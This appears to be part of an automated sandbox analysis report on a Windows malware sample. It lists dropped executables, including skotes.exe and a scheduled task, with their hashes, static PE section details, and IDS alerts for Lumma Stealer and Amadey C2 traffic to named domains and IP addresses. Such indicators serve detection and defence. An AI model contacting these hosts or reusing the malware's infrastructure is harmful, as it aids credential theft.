Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f............................. L...........@..........................PL......M....@.................................W...k...........................8.L...............................L..................................................... . ............................@....rsrc...............................@....idata ............................@... ..+.........................@...tfbezuor.P....1..H..................@...idqqmftg......L......>..............@....taggant.0... L.."...B..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2820096
Entropy (8bit):	6.494511932820225
Encrypted:	false
SSDEEP:	49152:gYthnJUWgSmKR61GJMZdyM8McxHf4WN62n1TdA4yOW7z:gchnJUWgSmKR6oMZdyM/cdgWN6CTdByN
MD5:	15A0A8113FA863F5388159141EBEC606
SHA1:	5F9F0D450FEA24FBA73489936BAD29D0CB56F47B
SHA-256:	DB0D4C7F41F071886032BFB40EECE5F7858ADE7D8EF74B44C0742E65F492B8D1
SHA-512:	6C39A138B222D1766CCFC21860F9228D781C8E8E109A6AB30B9B7B618112E1E95DDD79B3D56E9CE81C38E34B2EBB3734522E7A64ACF7C1C43E9888FB1E018BF0
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. ........................+.......+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...pgootnwq...........:..............@...rqqmfceu. ...`+....................@....taggant.@....+..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1926144
Entropy (8bit):	7.951230239008218
Encrypted:	false
SSDEEP:	49152:da23fsc2OPb57b8Tt/kNmZz03WKMLUiIoi04BD6/DmFvL3y0:daCEc2kqBkNm5KxDR6yF
MD5:	16C41103653669CEE6886CFDAE5F778F
SHA1:	703B66F5017A41CD9D9B6F9A333B1D75169699BE
SHA-256:	AEACEB34E974E8AE46E3E947DABFFE2B27D092E00141B730E45E550236A84508
SHA-512:	BF8402CB857CB0E9871FB0234EB35B8A6C1BEF44F4C0A55430640247C8E3CD1B7B9150399528CE2D088CFAD40A8058E93E3761B9CC5171D49605BE307B95CC0C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f............................. L...........@..........................PL......M....@.................................W...k...........................8.L...............................L..................................................... . ............................@....rsrc...............................@....idata ............................@... ..+.........................@...tfbezuor.P....1..H..................@...idqqmftg......L......>..............@....taggant.0... L.."...B..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\favicons.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.035333735952226504
Encrypted:	false
SSDEEP:	3:GtlstFha339AP94l3lstFha339APl1T89//alEl:GtWtnyWtn789XuM
MD5:	923AEE526B1E7D0B1A4D082E2A784D34
SHA1:	28D4DD35FB05C74F15C73F5B26722CD8DD291478
SHA-256:	31CFE3E3E5C99E0F5A2EEE8ACE238077A5178DDE1D8F2F50D7AA102021BF87F1
SHA-512:	3706506D419617A2FB4DA94599B54AB31E05CA1DA784DE65651DF159387A46644D262F9505ADD5D9FD8AA8DF3D208F07F341C1E02248FC2756802B8B5FED88E8
Malicious:	false
Preview:	..-.......................0..fT..5KH.S.....!.}}...-.......................0..fT..5KH.S.....!.}}.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	modified
Size (bytes):	32824
Entropy (8bit):	0.034901160083758986
Encrypted:	false
SSDEEP:	3:Ol1digAPxGVAw7FHrKvtgKSrV//mwl8XW3R2:KIo+qpuw93w
MD5:	A60734C9CE9C9F862A9B2AAE2DA103DB
SHA1:	F4C0088D2E51A1392E7EDB8402A8FEB9D8C7A6CD
SHA-256:	963FC93E07D56B7915ABB2B6BA85FFC83A5CFD269E39DC823507771233257437
SHA-512:	A4232643CAB0B61BD18A9D152CD55B061C64F4CA3F77434511D563C15DE7E15CC3DA02B86102671843A967C7A0150FCB3D3A7BE73EE76520C93F9C2EBAD5B0E8
Malicious:	false
Preview:	7....-...........5KH.S....8.c..........5KH.S..0...Tf.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10547
Entropy (8bit):	5.4957833116816515
Encrypted:	false
SSDEEP:	192:/nTFTRR4YbBp6VLZNMGaXU6qU4rzy+/3/OYiNBw8d7Sl:LCeMFNMr4yrdwc0
MD5:	17D4D91E32DE13751FA255135A45D073
SHA1:	7B11E0C8F4E570347DA817CC01907D52A2DE229A
SHA-256:	002EF7943AE78E74BBA36F47D2E25EA7DA2FCF37F39905AB6A7C54018A2D553D
SHA-512:	1730872EAB5F04B180787D6475F6E1DC7233A8D9F5FF8CBC87D669D670C121C5C5874270B2CCCF13DFC4A025C15AB933C0996BC74F73E93A30FFFE8FA1E1D1B6
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10547
Entropy (8bit):	5.4957833116816515
Encrypted:	false
SSDEEP:	192:/nTFTRR4YbBp6VLZNMGaXU6qU4rzy+/3/OYiNBw8d7Sl:LCeMFNMr4yrdwc0
MD5:	17D4D91E32DE13751FA255135A45D073
SHA1:	7B11E0C8F4E570347DA817CC01907D52A2DE229A
SHA-256:	002EF7943AE78E74BBA36F47D2E25EA7DA2FCF37F39905AB6A7C54018A2D553D
SHA-512:	1730872EAB5F04B180787D6475F6E1DC7233A8D9F5FF8CBC87D669D670C121C5C5874270B2CCCF13DFC4A025C15AB933C0996BC74F73E93A30FFFE8FA1E1D1B6
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 131075, last written using SQLite version 3042000, page size 512, file counter 4, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	2.042811512334329
Encrypted:	false
SSDEEP:	24:JBkSldh/cEUcR9PzNFPFHx/GJRBdkOrDcRB1trwDeAq2gRMyxr3:jkSWEUo9LXtR+JdkOnohYsl
MD5:	21235938025E2102017AC8C9748948A4
SHA1:	A1EED1C4588724A8396C95FC9923C0A33B360FF8
SHA-256:	E34B06B180E3F73DC8E441650BB7FE694A9D58E927412D6ED40B0852B784824E
SHA-512:	D334B419A2A75179C17D7F53BF65FCC132ADE03B21059F0007ACDBB08284A281D8CE1C1CC598E6A070024D0DAE158E2E9618E121342BE068E87A051FE33D6061
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.4412261808807716
Encrypted:	false
SSDEEP:	6:QMsFVXUhXUEZ+lX1CGdKUe6tE9+AQy0lzl0lEt0:QME4Q1CGAFD9+nVzeEt0
MD5:	3E889289CA050340F267D5C0A12AF65D
SHA1:	AC8CB98AC683663FF6BD4055DCB2F0EFD13D4F74
SHA-256:	85D57CB58E5621313D5103E2F36CDE685942DB88E53ED1184F0EFD59F915BD93
SHA-512:	ABCE10770245FC2AA5A943B5A247D1518627D43DB692820C8F94027C3BF07F5D869C101FB0A5C13C6CB99D6DFCDABCAE7C050EE95513F91CC8CCCB2EEBDA966A
Malicious:	false
Preview:	....d".FiK.H.~.....GF.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.598143012365193
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'934'272 bytes
MD5:	bce38b95d18fb00988f62a035bfe7634
SHA1:	36f675cfeb3f2684d1b535f23c56c4ca014499be
SHA256:	bd3f1e8397988f5c5d331c3cfeda9be7cd2cec92ac771697e1f4572b27476b6a
SHA512:	400a3b0eeb927cd0cf0a36db9ed934bd9433583b12dc1562cd3bb221c005f90325df8d7dac3d24e0d2de2c433eeea7aa7f4a81014f5fd68d3671cb7a64e47178
SSDEEP:	24576:7qAqrJgBTjYY1Pv4b9by97kRw0PdY5vk8MGkFatdjsh8rH3kBK4QfxPGcS3XPdGL:miTPJ4xa7kOzOdELRBBSgp0iF8slPw
TLSH:	C4D539A2F60975CBD44E13B49067CD82E9AC03B55B1509C3E87CA8FE7D67CC51AB6C28
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............/...........@...........................0.....22-...@.................................T...h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x6fd000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6715D353 [Mon Oct 21 04:06:43 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F39B4B13BBAh
shld dword ptr [eax+eax], ebp, 00000000h
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5a054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x59000	0x340	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5a1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x58000	0x27e00	91c50363739b7c04a6bc1072d18e38f5	False	0.9980897335423198	data	7.978650012013883	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x59000	0x340	0x400	914cd139a383496d0085d499d138ef92	False	0.390625	data	4.997389973748798	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5a000	0x1000	0x200	555a11fa24a077379003c187d9c9d020	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
gaowmbut	0x5b000	0x2a1000	0x2a0a00	fbd5a38ce1e347b8a72496a8aabc284b	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
bznrpeau	0x2fc000	0x1000	0x600	252acda19f969fea51f78882e10a0e4c	False	0.55859375	data	4.826068503440199	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x2fd000	0x3000	0x2200	7c402342cebec553c2fd2f0900d411af	False	0.06939338235294118	DOS executable (COM)	0.7523390772296178	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x59058	0x2e6	XML 1.0 document, ASCII text, with CRLF line terminators			0.45417789757412397

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-31T01:18:15.027150+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.6	58689	1.1.1.1	53	UDP
2024-10-31T01:18:15.042578+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.6	61041	1.1.1.1	53	UDP
2024-10-31T01:18:15.054277+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.6	63747	1.1.1.1	53	UDP
2024-10-31T01:18:15.064301+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.6	55011	1.1.1.1	53	UDP
2024-10-31T01:18:15.073758+0100	2057123	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)	1	192.168.2.6	51839	1.1.1.1	53	UDP
2024-10-31T01:18:15.713861+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	49711	188.114.97.3	443	TCP
2024-10-31T01:18:16.451438+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49711	188.114.97.3	443	TCP
2024-10-31T01:18:16.451438+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49711	188.114.97.3	443	TCP
2024-10-31T01:18:17.151668+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	49721	188.114.97.3	443	TCP
2024-10-31T01:18:17.853835+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49721	188.114.97.3	443	TCP
2024-10-31T01:18:17.853835+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49721	188.114.97.3	443	TCP
2024-10-31T01:18:18.723143+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	49728	188.114.97.3	443	TCP
2024-10-31T01:18:19.446449+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49728	188.114.97.3	443	TCP
2024-10-31T01:18:20.409259+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	49739	188.114.97.3	443	TCP
2024-10-31T01:18:21.782646+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	49750	188.114.97.3	443	TCP
2024-10-31T01:18:23.390569+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	49761	188.114.97.3	443	TCP
2024-10-31T01:18:25.449357+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	49771	188.114.97.3	443	TCP
2024-10-31T01:18:27.913192+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	49789	188.114.97.3	443	TCP
2024-10-31T01:18:28.689940+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49789	188.114.97.3	443	TCP
2024-10-31T01:18:29.601876+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	49797	185.215.113.16	80	TCP
2024-10-31T01:19:06.063616+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	49991	185.215.113.43	80	TCP
2024-10-31T01:19:09.455468+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49993	41.216.183.61	80	TCP
2024-10-31T01:19:12.517556+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	49992	TCP
2024-10-31T01:19:13.436735+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49994	185.215.113.43	80	TCP
2024-10-31T01:19:14.716279+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49995	185.215.113.16	80	TCP
2024-10-31T01:19:18.095064+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.6	51325	1.1.1.1	53	UDP
2024-10-31T01:19:18.141681+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.6	59090	1.1.1.1	53	UDP
2024-10-31T01:19:18.372258+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.6	64419	1.1.1.1	53	UDP
2024-10-31T01:19:18.992894+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.6	64449	1.1.1.1	53	UDP
2024-10-31T01:19:19.661882+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	49997	188.114.97.3	443	TCP
2024-10-31T01:19:19.912521+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49996	185.215.113.43	80	TCP
2024-10-31T01:19:20.191704+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49997	188.114.97.3	443	TCP
2024-10-31T01:19:20.191704+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49997	188.114.97.3	443	TCP
2024-10-31T01:19:20.812923+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49998	185.215.113.16	80	TCP
